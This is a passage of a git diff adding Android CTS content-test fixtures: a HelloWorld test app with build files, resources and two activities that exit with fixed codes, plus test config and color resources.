+ <option name="push-file" key="HelloWorld7.apk" value="/data/local/tmp/cts/content/HelloWorld7.apk" />
+ <option name="push-file" key="HelloWorld7_hdpi-v4.apk" value="/data/local/tmp/cts/content/HelloWorld7_hdpi-v4.apk" />
+ <option name="push-file" key="HelloWorld7_mdpi-v4.apk" value="/data/local/tmp/cts/content/HelloWorld7_mdpi-v4.apk" />
+ <option name="push-file" key="HelloWorld7_xhdpi-v4.apk" value="/data/local/tmp/cts/content/HelloWorld7_xhdpi-v4.apk" />
+ <option name="push-file" key="HelloWorld7_xxhdpi-v4.apk" value="/data/local/tmp/cts/content/HelloWorld7_xxhdpi-v4.apk" />
+ <option name="push-file" key="HelloWorld7_xxxhdpi-v4.apk" value="/data/local/tmp/cts/content/HelloWorld7_xxxhdpi-v4.apk" />
+ </target_preparer>
+
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsContentTestCases.apk" />
diff --git a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/OWNERS b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/OWNERS
new file mode 100644
index 0000000..c5fc344
--- /dev/null
+++ b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 197138
+include /tests/app/OWNERS
diff --git a/tests/tests/content/HelloWorldApp/Android.bp b/tests/tests/content/HelloWorldApp/Android.bp
new file mode 100644
index 0000000..d2f0a34
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/Android.bp
@@ -0,0 +1,60 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_defaults {
+ name: "hello_world_defaults",
+ defaults: ["cts_defaults"],
+ sdk_version: "current",
+ min_sdk_version: "24",
+ static_libs: [
+ "androidx.appcompat_appcompat",
+ "androidx-constraintlayout_constraintlayout",
+ "com.google.android.material_material",
+ ],
+ package_splits: [
+ "mdpi-v4",
+ "hdpi-v4",
+ "xhdpi-v4",
+ "xxhdpi-v4",
+ "xxxhdpi-v4",
+ ],
+}
+
+// TODO(b/140795853): once fixed, uncomment the below targets.
+
+//-----------------------------------------------------------
+//android_test {
+// name: "HelloWorld5",
+// defaults: ["hello_world_defaults"],
+// srcs: ["src5/**/*.java"],
+// // tag this module as a cts test artifact
+// test_suites: [
+// "cts",
+// "vts",
+// "general-tests",
+// ],
+//}
+
+//-----------------------------------------------------------
+//android_test {
+// name: "HelloWorld7",
+// defaults: ["hello_world_defaults"],
+// srcs: ["src7/**/*.java"],
+// // tag this module as a cts test artifact
+// test_suites: [
+// "cts",
+// "vts",
+// "general-tests",
+// ],
+//}
diff --git a/tests/tests/content/HelloWorldApp/Android.mk b/tests/tests/content/HelloWorldApp/Android.mk
new file mode 100644
index 0000000..ed7739b
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/Android.mk
@@ -0,0 +1,66 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+# TODO(b/140795853): Once fixed, remove make files.
+
+LOCAL_PATH := $(call my-dir)
+
+#################################################
+# HelloWorld5
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src5)
+LOCAL_MANIFEST_FILE := AndroidManifest.xml
+
+LOCAL_PACKAGE_NAME := HelloWorld5
+LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 24
+LOCAL_PACKAGE_SPLITS := mdpi-v4 hdpi-v4 xhdpi-v4 xxhdpi-v4 xxxhdpi-v4
+
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_ASSET_DIR := $(LOCAL_PATH)/res
+
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs androidx.appcompat_appcompat androidx-constraintlayout_constraintlayout com.google.android.material_material
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+#################################################
+# HelloWorld7
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src7)
+LOCAL_MANIFEST_FILE := AndroidManifest.xml
+
+LOCAL_PACKAGE_NAME := HelloWorld7
+LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 24
+LOCAL_PACKAGE_SPLITS := mdpi-v4 hdpi-v4 xhdpi-v4 xxhdpi-v4 xxxhdpi-v4
+
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_ASSET_DIR := $(LOCAL_PATH)/res
+
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs androidx.appcompat_appcompat androidx-constraintlayout_constraintlayout com.google.android.material_material
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/tests/content/HelloWorldApp/AndroidManifest.xml b/tests/tests/content/HelloWorldApp/AndroidManifest.xml
new file mode 100644
index 0000000..f7c6c23
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.example.helloworld">
+
+ <application
+ android:allowBackup="true"
+ android:icon="@mipmap/ic_launcher"
+ android:label="@string/app_name"
+ android:roundIcon="@mipmap/ic_launcher_round"
+ android:supportsRtl="true"
+ android:theme="@style/AppTheme">
+ <activity
+ android:name=".MainActivity"
+ android:label="@string/app_name"
+ android:theme="@style/AppTheme.NoActionBar">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+
+</manifest>
\ No newline at end of file
diff --git a/tests/tests/content/HelloWorldApp/res/drawable-v24/ic_launcher_foreground.xml b/tests/tests/content/HelloWorldApp/res/drawable-v24/ic_launcher_foreground.xml
new file mode 100644
index 0000000..1f6bb29
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/drawable-v24/ic_launcher_foreground.xml
@@ -0,0 +1,34 @@
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:aapt="http://schemas.android.com/aapt"
+ android:width="108dp"
+ android:height="108dp"
+ android:viewportWidth="108"
+ android:viewportHeight="108">
+ <path
+ android:fillType="evenOdd"
+ android:pathData="M32,64C32,64 38.39,52.99 44.13,50.95C51.37,48.37 70.14,49.57 70.14,49.57L108.26,87.69L108,109.01L75.97,107.97L32,64Z"
+ android:strokeWidth="1"
+ android:strokeColor="#00000000">
+ <aapt:attr name="android:fillColor">
+ <gradient
+ android:endX="78.5885"
+ android:endY="90.9159"
+ android:startX="48.7653"
+ android:startY="61.0927"
+ android:type="linear">
+ <item
+ android:color="#44000000"
+ android:offset="0.0" />
+ <item
+ android:color="#00000000"
+ android:offset="1.0" />
+ </gradient>
+ </aapt:attr>
+ </path>
+ <path
+ android:fillColor="#FFFFFF"
+ android:fillType="nonZero"
+ android:pathData="M66.94,46.02L66.94,46.02C72.44,50.07 76,56.61 76,64L32,64C32,56.61 35.56,50.11 40.98,46.06L36.18,41.19C35.45,40.45 35.45,39.3 36.18,38.56C36.91,37.81 38.05,37.81 38.78,38.56L44.25,44.05C47.18,42.57 50.48,41.71 54,41.71C57.48,41.71 60.78,42.57 63.68,44.05L69.11,38.56C69.84,37.81 70.98,37.81 71.71,38.56C72.44,39.3 72.44,40.45 71.71,41.19L66.94,46.02ZM62.94,56.92C64.08,56.92 65,56.01 65,54.88C65,53.76 64.08,52.85 62.94,52.85C61.8,52.85 60.88,53.76 60.88,54.88C60.88,56.01 61.8,56.92 62.94,56.92ZM45.06,56.92C46.2,56.92 47.13,56.01 47.13,54.88C47.13,53.76 46.2,52.85 45.06,52.85C43.92,52.85 43,53.76 43,54.88C43,56.01 43.92,56.92 45.06,56.92Z"
+ android:strokeWidth="1"
+ android:strokeColor="#00000000" />
+</vector>
diff --git a/tests/tests/content/HelloWorldApp/res/drawable/ic_launcher_background.xml b/tests/tests/content/HelloWorldApp/res/drawable/ic_launcher_background.xml
new file mode 100644
index 0000000..0d025f9
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/drawable/ic_launcher_background.xml
@@ -0,0 +1,170 @@
+<?xml version="1.0" encoding="utf-8"?>
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+ android:width="108dp"
+ android:height="108dp"
+ android:viewportWidth="108"
+ android:viewportHeight="108">
+ <path
+ android:fillColor="#008577"
+ android:pathData="M0,0h108v108h-108z" />
+ <path
+ android:fillColor="#00000000"
+ android:pathData="M9,0L9,108"
+ android:strokeWidth="0.8"
+ android:strokeColor="#33FFFFFF" />
+ <path
+ android:fillColor="#00000000"
+ android:pathData="M19,0L19,108"
+ android:strokeWidth="0.8"
+ android:strokeColor="#33FFFFFF" />
+ <path
+ android:fillColor="#00000000"
+ android:pathData="M29,0L29,108"
+ android:strokeWidth="0.8"
+ android:strokeColor="#33FFFFFF" />
+ <path
+ android:fillColor="#00000000"
+ android:pathData="M39,0L39,108"
+ android:strokeWidth="0.8"
+ android:strokeColor="#33FFFFFF" />
+ <path
+ android:fillColor="#00000000"
+ android:pathData="M49,0L49,108"
+ android:strokeWidth="0.8"
+ android:strokeColor="#33FFFFFF" />
+ <path
+ android:fillColor="#00000000"
+ android:pathData="M59,0L59,108"
+ android:strokeWidth="0.8"
+ android:strokeColor="#33FFFFFF" />
+ <path
+ android:fillColor="#00000000"
+ android:pathData="M69,0L69,108"
+ android:strokeWidth="0.8"
+ android:strokeColor="#33FFFFFF" />
+ <path
+ android:fillColor="#00000000"
+ android:pathData="M79,0L79,108"
+ android:strokeWidth="0.8"
+ android:strokeColor="#33FFFFFF" />
+ <path
+ android:fillColor="#00000000"
+ android:pathData="M89,0L89,108"
+ android:strokeWidth="0.8"
+ android:strokeColor="#33FFFFFF" />
+ <path
+ android:fillColor="#00000000"
+ android:pathData="M99,0L99,108"
+ android:strokeWidth="0.8"
+ android:strokeColor="#33FFFFFF" />
+ <path
+ android:fillColor="#00000000"
+ android:pathData="M0,9L108,9"
+ android:strokeWidth="0.8"
+ android:strokeColor="#33FFFFFF" />
+ <path
+ android:fillColor="#00000000"
+ android:pathData="M0,19L108,19"
+ android:strokeWidth="0.8"
+ android:strokeColor="#33FFFFFF" />
+ <path
+ android:fillColor="#00000000"
+ android:pathData="M0,29L108,29"
+ android:strokeWidth="0.8"
+ android:strokeColor="#33FFFFFF" />
+ <path
+ android:fillColor="#00000000"
+ android:pathData="M0,39L108,39"
+ android:strokeWidth="0.8"
+ android:strokeColor="#33FFFFFF" />
+ <path
+ android:fillColor="#00000000"
+ android:pathData="M0,49L108,49"
+ android:strokeWidth="0.8"
+ android:strokeColor="#33FFFFFF" />
+ <path
+ android:fillColor="#00000000"
+ android:pathData="M0,59L108,59"
+ android:strokeWidth="0.8"
+ android:strokeColor="#33FFFFFF" />
+ <path
+ android:fillColor="#00000000"
+ android:pathData="M0,69L108,69"
+ android:strokeWidth="0.8"
+ android:strokeColor="#33FFFFFF" />
+ <path
+ android:fillColor="#00000000"
+ android:pathData="M0,79L108,79"
+ android:strokeWidth="0.8"
+ android:strokeColor="#33FFFFFF" />
+ <path
+ android:fillColor="#00000000"
+ android:pathData="M0,89L108,89"
+ android:strokeWidth="0.8"
+ android:strokeColor="#33FFFFFF" />
+ <path
+ android:fillColor="#00000000"
+ android:pathData="M0,99L108,99"
+ android:strokeWidth="0.8"
+ android:strokeColor="#33FFFFFF" />
+ <path
+ android:fillColor="#00000000"
+ android:pathData="M19,29L89,29"
+ android:strokeWidth="0.8"
+ android:strokeColor="#33FFFFFF" />
+ <path
+ android:fillColor="#00000000"
+ android:pathData="M19,39L89,39"
+ android:strokeWidth="0.8"
+ android:strokeColor="#33FFFFFF" />
+ <path
+ android:fillColor="#00000000"
+ android:pathData="M19,49L89,49"
+ android:strokeWidth="0.8"
+ android:strokeColor="#33FFFFFF" />
+ <path
+ android:fillColor="#00000000"
+ android:pathData="M19,59L89,59"
+ android:strokeWidth="0.8"
+ android:strokeColor="#33FFFFFF" />
+ <path
+ android:fillColor="#00000000"
+ android:pathData="M19,69L89,69"
+ android:strokeWidth="0.8"
+ android:strokeColor="#33FFFFFF" />
+ <path
+ android:fillColor="#00000000"
+ android:pathData="M19,79L89,79"
+ android:strokeWidth="0.8"
+ android:strokeColor="#33FFFFFF" />
+ <path
+ android:fillColor="#00000000"
+ android:pathData="M29,19L29,89"
+ android:strokeWidth="0.8"
+ android:strokeColor="#33FFFFFF" />
+ <path
+ android:fillColor="#00000000"
+ android:pathData="M39,19L39,89"
+ android:strokeWidth="0.8"
+ android:strokeColor="#33FFFFFF" />
+ <path
+ android:fillColor="#00000000"
+ android:pathData="M49,19L49,89"
+ android:strokeWidth="0.8"
+ android:strokeColor="#33FFFFFF" />
+ <path
+ android:fillColor="#00000000"
+ android:pathData="M59,19L59,89"
+ android:strokeWidth="0.8"
+ android:strokeColor="#33FFFFFF" />
+ <path
+ android:fillColor="#00000000"
+ android:pathData="M69,19L69,89"
+ android:strokeWidth="0.8"
+ android:strokeColor="#33FFFFFF" />
+ <path
+ android:fillColor="#00000000"
+ android:pathData="M79,19L79,89"
+ android:strokeWidth="0.8"
+ android:strokeColor="#33FFFFFF" />
+</vector>
diff --git a/tests/tests/content/HelloWorldApp/res/layout/activity_main.xml b/tests/tests/content/HelloWorldApp/res/layout/activity_main.xml
new file mode 100644
index 0000000..eed4d89
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/layout/activity_main.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<android.support.design.widget.CoordinatorLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:app="http://schemas.android.com/apk/res-auto"
+ xmlns:tools="http://schemas.android.com/tools"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ tools:context=".MainActivity">
+
+ <android.support.design.widget.AppBarLayout
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:theme="@style/AppTheme.AppBarOverlay">
+
+ <android.support.v7.widget.Toolbar
+ android:id="@+id/toolbar"
+ android:layout_width="match_parent"
+ android:layout_height="?attr/actionBarSize"
+ android:background="?attr/colorPrimary"
+ app:popupTheme="@style/AppTheme.PopupOverlay" />
+
+ </android.support.design.widget.AppBarLayout>
+
+ <include layout="@layout/content_main" />
+
+ <android.support.design.widget.FloatingActionButton
+ android:id="@+id/fab"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:layout_gravity="bottom|end"
+ android:layout_margin="@dimen/fab_margin"
+ app:srcCompat="@android:drawable/ic_dialog_email" />
+
+</android.support.design.widget.CoordinatorLayout>
\ No newline at end of file
diff --git a/tests/tests/content/HelloWorldApp/res/layout/content_main.xml b/tests/tests/content/HelloWorldApp/res/layout/content_main.xml
new file mode 100644
index 0000000..3fc2170
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/layout/content_main.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<android.support.constraint.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:app="http://schemas.android.com/apk/res-auto"
+ xmlns:tools="http://schemas.android.com/tools"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ app:layout_behavior="@string/appbar_scrolling_view_behavior"
+ tools:context=".MainActivity"
+ tools:showIn="@layout/activity_main">
+
+ <TextView
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Hello World!"
+ app:layout_constraintBottom_toBottomOf="parent"
+ app:layout_constraintLeft_toLeftOf="parent"
+ app:layout_constraintRight_toRightOf="parent"
+ app:layout_constraintTop_toTopOf="parent" />
+
+</android.support.constraint.ConstraintLayout>
\ No newline at end of file
diff --git a/tests/tests/content/HelloWorldApp/res/menu/menu_main.xml b/tests/tests/content/HelloWorldApp/res/menu/menu_main.xml
new file mode 100644
index 0000000..0e62215
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/menu/menu_main.xml
@@ -0,0 +1,10 @@
+<menu xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:app="http://schemas.android.com/apk/res-auto"
+ xmlns:tools="http://schemas.android.com/tools"
+ tools:context="com.example.helloworld.MainActivity">
+ <item
+ android:id="@+id/action_settings"
+ android:orderInCategory="100"
+ android:title="@string/action_settings"
+ app:showAsAction="never" />
+</menu>
diff --git a/tests/tests/content/HelloWorldApp/res/mipmap-anydpi-v26/ic_launcher.xml b/tests/tests/content/HelloWorldApp/res/mipmap-anydpi-v26/ic_launcher.xml
new file mode 100644
index 0000000..eca70cf
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/mipmap-anydpi-v26/ic_launcher.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="utf-8"?>
+<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
+ <background android:drawable="@drawable/ic_launcher_background" />
+ <foreground android:drawable="@drawable/ic_launcher_foreground" />
+</adaptive-icon>
\ No newline at end of file
diff --git a/tests/tests/content/HelloWorldApp/res/mipmap-anydpi-v26/ic_launcher_round.xml b/tests/tests/content/HelloWorldApp/res/mipmap-anydpi-v26/ic_launcher_round.xml
new file mode 100644
index 0000000..eca70cf
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/mipmap-anydpi-v26/ic_launcher_round.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="utf-8"?>
+<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
+ <background android:drawable="@drawable/ic_launcher_background" />
+ <foreground android:drawable="@drawable/ic_launcher_foreground" />
+</adaptive-icon>
\ No newline at end of file
diff --git a/tests/tests/content/HelloWorldApp/res/mipmap-hdpi/ic_launcher.png b/tests/tests/content/HelloWorldApp/res/mipmap-hdpi/ic_launcher.png
new file mode 100644
index 0000000..898f3ed
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/mipmap-hdpi/ic_launcher.png
Binary files differ
diff --git a/tests/tests/content/HelloWorldApp/res/mipmap-hdpi/ic_launcher_round.png b/tests/tests/content/HelloWorldApp/res/mipmap-hdpi/ic_launcher_round.png
new file mode 100644
index 0000000..dffca36
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/mipmap-hdpi/ic_launcher_round.png
Binary files differ
diff --git a/tests/tests/content/HelloWorldApp/res/mipmap-mdpi/ic_launcher.png b/tests/tests/content/HelloWorldApp/res/mipmap-mdpi/ic_launcher.png
new file mode 100644
index 0000000..64ba76f
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/mipmap-mdpi/ic_launcher.png
Binary files differ
diff --git a/tests/tests/content/HelloWorldApp/res/mipmap-mdpi/ic_launcher_round.png b/tests/tests/content/HelloWorldApp/res/mipmap-mdpi/ic_launcher_round.png
new file mode 100644
index 0000000..dae5e08
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/mipmap-mdpi/ic_launcher_round.png
Binary files differ
diff --git a/tests/tests/content/HelloWorldApp/res/mipmap-xhdpi/ic_launcher.png b/tests/tests/content/HelloWorldApp/res/mipmap-xhdpi/ic_launcher.png
new file mode 100644
index 0000000..e5ed465
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/mipmap-xhdpi/ic_launcher.png
Binary files differ
diff --git a/tests/tests/content/HelloWorldApp/res/mipmap-xhdpi/ic_launcher_round.png b/tests/tests/content/HelloWorldApp/res/mipmap-xhdpi/ic_launcher_round.png
new file mode 100644
index 0000000..14ed0af
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/mipmap-xhdpi/ic_launcher_round.png
Binary files differ
diff --git a/tests/tests/content/HelloWorldApp/res/mipmap-xxhdpi/ic_launcher.png b/tests/tests/content/HelloWorldApp/res/mipmap-xxhdpi/ic_launcher.png
new file mode 100644
index 0000000..b0907ca
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/mipmap-xxhdpi/ic_launcher.png
Binary files differ
diff --git a/tests/tests/content/HelloWorldApp/res/mipmap-xxhdpi/ic_launcher_round.png b/tests/tests/content/HelloWorldApp/res/mipmap-xxhdpi/ic_launcher_round.png
new file mode 100644
index 0000000..d8ae031
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/mipmap-xxhdpi/ic_launcher_round.png
Binary files differ
diff --git a/tests/tests/content/HelloWorldApp/res/mipmap-xxxhdpi/ic_launcher.png b/tests/tests/content/HelloWorldApp/res/mipmap-xxxhdpi/ic_launcher.png
new file mode 100644
index 0000000..2c18de9
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/mipmap-xxxhdpi/ic_launcher.png
Binary files differ
diff --git a/tests/tests/content/HelloWorldApp/res/mipmap-xxxhdpi/ic_launcher_round.png b/tests/tests/content/HelloWorldApp/res/mipmap-xxxhdpi/ic_launcher_round.png
new file mode 100644
index 0000000..beed3cd
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/mipmap-xxxhdpi/ic_launcher_round.png
Binary files differ
diff --git a/tests/tests/content/HelloWorldApp/res/values/colors.xml b/tests/tests/content/HelloWorldApp/res/values/colors.xml
new file mode 100644
index 0000000..69b2233
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/values/colors.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8"?>
+<resources>
+ <color name="colorPrimary">#008577</color>
+ <color name="colorPrimaryDark">#00574B</color>
+ <color name="colorAccent">#D81B60</color>
+</resources>
diff --git a/tests/tests/content/HelloWorldApp/res/values/dimens.xml b/tests/tests/content/HelloWorldApp/res/values/dimens.xml
new file mode 100644
index 0000000..59a0b0c
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/values/dimens.xml
@@ -0,0 +1,3 @@
+<resources>
+ <dimen name="fab_margin">16dp</dimen>
+</resources>
diff --git a/tests/tests/content/HelloWorldApp/res/values/strings.xml b/tests/tests/content/HelloWorldApp/res/values/strings.xml
new file mode 100644
index 0000000..cfa9f74
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/values/strings.xml
@@ -0,0 +1,4 @@
+<resources>
+ <string name="app_name">HelloWorld</string>
+ <string name="action_settings">Settings</string>
+</resources>
diff --git a/tests/tests/content/HelloWorldApp/res/values/styles.xml b/tests/tests/content/HelloWorldApp/res/values/styles.xml
new file mode 100644
index 0000000..545b9c6
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/values/styles.xml
@@ -0,0 +1,20 @@
+<resources>
+
+ <!-- Base application theme. -->
+ <style name="AppTheme" parent="Theme.AppCompat.Light.DarkActionBar">
+ <!-- Customize your theme here. -->
+ <item name="colorPrimary">@color/colorPrimary</item>
+ <item name="colorPrimaryDark">@color/colorPrimaryDark</item>
+ <item name="colorAccent">@color/colorAccent</item>
+ </style>
+
+ <style name="AppTheme.NoActionBar">
+ <item name="windowActionBar">false</item>
+ <item name="windowNoTitle">true</item>
+ </style>
+
+ <style name="AppTheme.AppBarOverlay" parent="ThemeOverlay.AppCompat.Dark.ActionBar" />
+
+ <style name="AppTheme.PopupOverlay" parent="ThemeOverlay.AppCompat.Light" />
+
+</resources>
diff --git a/tests/tests/content/HelloWorldApp/src5/com/example/helloworld/MainActivity.java b/tests/tests/content/HelloWorldApp/src5/com/example/helloworld/MainActivity.java
new file mode 100644
index 0000000..31d8a97
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/src5/com/example/helloworld/MainActivity.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.example.helloworld;
+
+import android.os.Bundle;
+import android.view.Menu;
+import android.view.MenuItem;
+
+import androidx.appcompat.app.AppCompatActivity;
+import androidx.appcompat.widget.Toolbar;
+
+public class MainActivity extends AppCompatActivity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+ Toolbar toolbar = findViewById(R.id.toolbar);
+ setSupportActionBar(toolbar);
+ System.exit(5);
+ }
+
+ @Override
+ public boolean onCreateOptionsMenu(Menu menu) {
+ // Inflate the menu; this adds items to the action bar if it is present.
+ getMenuInflater().inflate(R.menu.menu_main, menu);
+ return true;
+ }
+
+ @Override
+ public boolean onOptionsItemSelected(MenuItem item) {
+ // Handle action bar item clicks here. The action bar will
+ // automatically handle clicks on the Home/Up button, so long
+ // as you specify a parent activity in AndroidManifest.xml.
+ int id = item.getItemId();
+
+ //noinspection SimplifiableIfStatement
+ if (id == R.id.action_settings) {
+ return true;
+ }
+
+ return super.onOptionsItemSelected(item);
+ }
+}
diff --git a/tests/tests/content/HelloWorldApp/src7/com/example/helloworld/MainActivity.java b/tests/tests/content/HelloWorldApp/src7/com/example/helloworld/MainActivity.java
new file mode 100644
index 0000000..2aae1e0
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/src7/com/example/helloworld/MainActivity.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.example.helloworld;
+
+import android.os.Bundle;
+import android.view.Menu;
+import android.view.MenuItem;
+
+import androidx.appcompat.app.AppCompatActivity;
+import androidx.appcompat.widget.Toolbar;
+
+public class MainActivity extends AppCompatActivity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+ Toolbar toolbar = findViewById(R.id.toolbar);
+ setSupportActionBar(toolbar);
+ System.exit(7);
+ }
+
+ @Override
+ public boolean onCreateOptionsMenu(Menu menu) {
+ // Inflate the menu; this adds items to the action bar if it is present.
+ getMenuInflater().inflate(R.menu.menu_main, menu);
+ return true;
+ }
+
+ @Override
+ public boolean onOptionsItemSelected(MenuItem item) {
+ // Handle action bar item clicks here. The action bar will
+ // automatically handle clicks on the Home/Up button, so long
+ // as you specify a parent activity in AndroidManifest.xml.
+ int id = item.getItemId();
+
+ //noinspection SimplifiableIfStatement
+ if (id == R.id.action_settings) {
+ return true;
+ }
+
+ return super.onOptionsItemSelected(item);
+ }
+}
diff --git a/tests/tests/content/res/color-night/testcolor_daynight.xml b/tests/tests/content/res/color-night/testcolor_daynight.xml
new file mode 100644
index 0000000..a63f89a
--- /dev/null
+++ b/tests/tests/content/res/color-night/testcolor_daynight.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+<selector xmlns:android="http://schemas.android.com/apk/res/android">
+ <item android:color="@android:color/black"/>
+</selector>
\ No newline at end of file
diff --git a/tests/tests/content/res/color-notnight/testcolor_daynight.xml b/tests/tests/content/res/color-notnight/testcolor_daynight.xml
new file mode 100644
index 0000000..2f4ecb8
--- /dev/null
+++ b/tests/tests/content/res/color-notnight/testcolor_daynight.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+ ~ Copyright 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
